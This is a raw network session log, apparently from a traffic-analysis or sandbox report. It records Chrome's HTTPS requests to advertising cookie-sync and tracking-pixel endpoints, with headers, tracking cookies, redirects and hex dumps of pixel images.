158	192.168.2.6	50016	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:07 UTC	661	OUT	GET /intentiq HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:08 UTC	675	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:07 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://sync.intentiq.com/profiles_user/ProfilesuserServlet?at=20&dpi=2124307461&pcid=4F23F6C2C1D4438DAA81302CEEAB3C45 Expires: Thu, 23 May 2024 22:46:07 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:08 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.6	50022	64.202.112.255	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:07 UTC	663	OUT	GET /cookie-sync?p=smaato&initiation=partner&uid=c4c4808b0e&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.outbrain.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:07 UTC	379	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:07 GMT Content-Length: 0 Connection: close Cache-Control: no-cache X-TraceId: e7f5b1f2f7c7aff50c8646620bcb2504 Set-Cookie: obuid=7fd25bf4-a11c-443f-9c60-2f26e5698e52; Path=/; Domain=.outbrain.com; Max-Age=7776000; Expires=Thu, 22 Aug 2024 22:46:07 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.6	50021	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:07 UTC	901	OUT	GET /track/cmf/appnexus?ttd=1&anid=6116765264039870456&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCNadit_w4PI8EAUYBSACKAEyCwi074zBwJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAXIIYXBwbmV4dXM.
2024-05-24 22:46:07 UTC	775	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:07 GMT Content-Length: 439 Connection: close server: Kestrel location: https://cm.g.doubleclick.net/pixel?google_nid=TheTradeDesk&google_cm&google_sc&google_hm=MDBkNmI0N2ItNWRmMC00MWUxLTgxMmUtYzMzNGViYWE5YWJm&gdpr=0&gdpr_consent=&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:07 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsIzpHi7crl-zwQBRgFIAMoATILCLTvjMHAk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABcgZnb29nbGU.; expires=Sat, 24 May 2025 22:46:07 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:07 UTC	439	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 54 68 65 54 72 61 64 65 44 65 73 6b 26 67 6f 6f 67 6c 65 5f 63 6d 26 67 6f 6f 67 6c 65 5f 73 63 26 67 6f 6f 67 6c 65 5f 68 6d 3d 4d 44 42 6b 4e 6d 49 30 4e 32 49 74 4e 57 52 6d 4d 43 30 30 4d 57 55 78 4c 54 67 78 4d 6d 55 74 59 7a 4d 7a 4e 47 56 69 59 57 45 35 59 57 4a 6d 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 74 74 64 5f 74 64 69 64 3d 30 30 64 36 62 34 37 62 2d 35 64 66 30 2d 34 31 65 31 2d 38 31 32 65 2d 63 33 33 34 65 62 61 61 39 61 62 66 22 3e 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b Data Ascii: Redirecting to: <a href="https://cm.g.doubleclick.net/pixel?google_nid=TheTradeDesk&google_cm&google_sc&google_hm=MDBkNmI0N2ItNWRmMC00MWUxLTgxMmUtYzMzNGViYWE5YWJm&gdpr=0&gdpr_consent=&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf">https://cm.g.doubleclick

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.6	50019	216.58.206.68	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:07 UTC	1092	OUT	GET /pagead/1p-conversion/1026675585/?random=144126916&cv=7&fst=1716590764895&fmt=3&value=0&label=eGG0CO2U2AIQgafH6QM&guid=ON&ct_cookie_present=false&sscte=1&crd=CJW3sQIIscGxAgiwwbECCLnBsQIIgcSxAiIBAUAB&pscrd=CLa55LqA4duPASITCIWczfaup4YDFeyLgwcdxDQGuTICCAMyAggEMgIIBzICCAgyAggJMgIICjICCAIyAggLOiRodHRwczovLzk3NDk4OTIuZmxzLmRvdWJsZWNsaWNrLm5ldC8&is_vtc=1&cid=CAQSKQDaQooLaFEJFEq1RuT_q_yfhie7XDJyD1rWqzhW8dvtHSOClo-ZMCX8&random=919291552 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:08 UTC	602	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:07 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Content-Security-Policy: script-src 'none'; object-src 'none' X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:08 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.6	50018	76.223.111.18	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:07 UTC	747	OUT	GET /xuid?ld=1&mid=7969&xuid=4F23F6C2C1D4438DAA81302CEEAB3C45&dongle=yf3&gdpr=0&cmp_cs=&us_privacy= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=4311655648632522917084; tluid=4311655648632522917084
2024-05-24 22:46:08 UTC	612	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:07 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=4311655648632522917084; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Thu, 22 Aug 2024 22:46:07 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=4311655648632522917084; Max-Age=7776000; Expires=Thu, 22 Aug 2024 22:46:07 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-05-24 22:46:08 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.6	50020	3.232.240.250	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:07 UTC	397	OUT	GET /sync?UISF=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: simplifi.partners.tremorhub.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:08 UTC	218	IN	HTTP/1.1 200 Date: Fri, 24 May 2024 22:46:07 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close Server: nginx P3P: CP='This is not a P3P policy. See https://telaria.com/privacy-policy/'
2024-05-24 22:46:08 UTC	49	IN	Data Raw: 32 62 0d 0a 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 0d 0a Data Ascii: 2bGIF89a!,D;
2024-05-24 22:46:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.6	50032	34.111.113.62	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:08 UTC	528	OUT	GET /idsync/ex/receive/check?partner_id=2305&partner_device_id=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1716590766667; TapAd_DID=d437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae; TapAd_3WAY_SYNCS=
2024-05-24 22:46:08 UTC	1095	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:08 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1716590766667;Expires=Tue, 23 Jul 2024 22:46:08 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=d437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae;Expires=Tue, 23 Jul 2024 22:46:08 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=;Expires=Tue, 23 Jul 2024 22:46:08 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Content-Type: image/png Content-Length: 95 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:08 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.6	50024	46.228.174.117	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:08 UTC	744	OUT	GET /usersync/simplifi/4F23F6C2C1D4438DAA81302CEEAB3C45?zcc=1&cb=1716590767056 HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-ed36a9b1-6e82-4f97-bcc6-221866ea94df-003%22%7D
2024-05-24 22:46:08 UTC	313	IN	HTTP/1.1 302 Found date: Fri, 24 May 2024 22:46:08 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache location: https://sync.targeting.unrulymedia.com/csync/RX-ed36a9b1-6e82-4f97-bcc6-221866ea94df-003 connection: close
2024-05-24 22:46:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.6	50023	3.76.144.165	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:08 UTC	750	OUT	GET /pixel/10751/?che=1716590766951&ip=8.46.123.175&l1=https%3A%2F%2Fum.simpli.fi%2Faa_px%3Fsk%3D219933204892004054749 HTTP/1.1 Host: d.agkn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA
2024-05-24 22:46:08 UTC	547	IN	HTTP/1.1 302 Cache-Control: no-cache, must-revalidate Date: Fri, 24 May 2024 22:46:07 GMT Expires: Sat, 01 Jan 2000 00:00:00 GMT Location: https://um.simpli.fi/aa_px?sk=219933204892004054749 P3P: CP="NOI DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Set-Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA;Path=/;Domain=agkn.com;Max-Age=31536000;SameSite=None;Secure Set-Cookie: u=C\|0AAAAAAAALePVMAAAAAAA;Path=/;Domain=agkn.com;Max-Age=31536000;SameSite=None;Secure Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.6	50029	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:08 UTC	661	OUT	GET /pubmatic HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:08 UTC	552	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:08 GMT Content-Type: image/gif Content-Length: 43 Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT Connection: close Expires: Thu, 23 May 2024 22:46:08 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:08 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.6	50033	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:08 UTC	662	OUT	GET /freewheel HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:08 UTC	552	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:08 GMT Content-Type: image/gif Content-Length: 43 Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT Connection: close Expires: Thu, 23 May 2024 22:46:08 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:08 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.6	50035	64.202.112.31	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:08 UTC	416	OUT	GET /cookie-sync?p=smaato&initiation=partner&uid=c4c4808b0e&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.outbrain.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:08 UTC	379	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:08 GMT Content-Length: 0 Connection: close Cache-Control: no-cache X-TraceId: bff4474cf1b97981f451575dbc0d7940 Set-Cookie: obuid=9f8a3cf2-11cb-403b-add7-008b9503dee4; Path=/; Domain=.outbrain.com; Max-Age=7776000; Expires=Thu, 22 Aug 2024 22:46:08 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.6	50036	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:08 UTC	657	OUT	GET /dtnx HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:09 UTC	645	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:09 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://fei.pro-market.net/user?du=24;csync=4F23F6C2C1D4438DAA81302CEEAB3C45;mimetype=img; Expires: Thu, 23 May 2024 22:46:09 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:09 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.6	50038	13.248.245.213	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:08 UTC	469	OUT	GET /xuid?ld=1&mid=7969&xuid=4F23F6C2C1D4438DAA81302CEEAB3C45&dongle=yf3&gdpr=0&cmp_cs=&us_privacy= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluid=4311655648632522917084
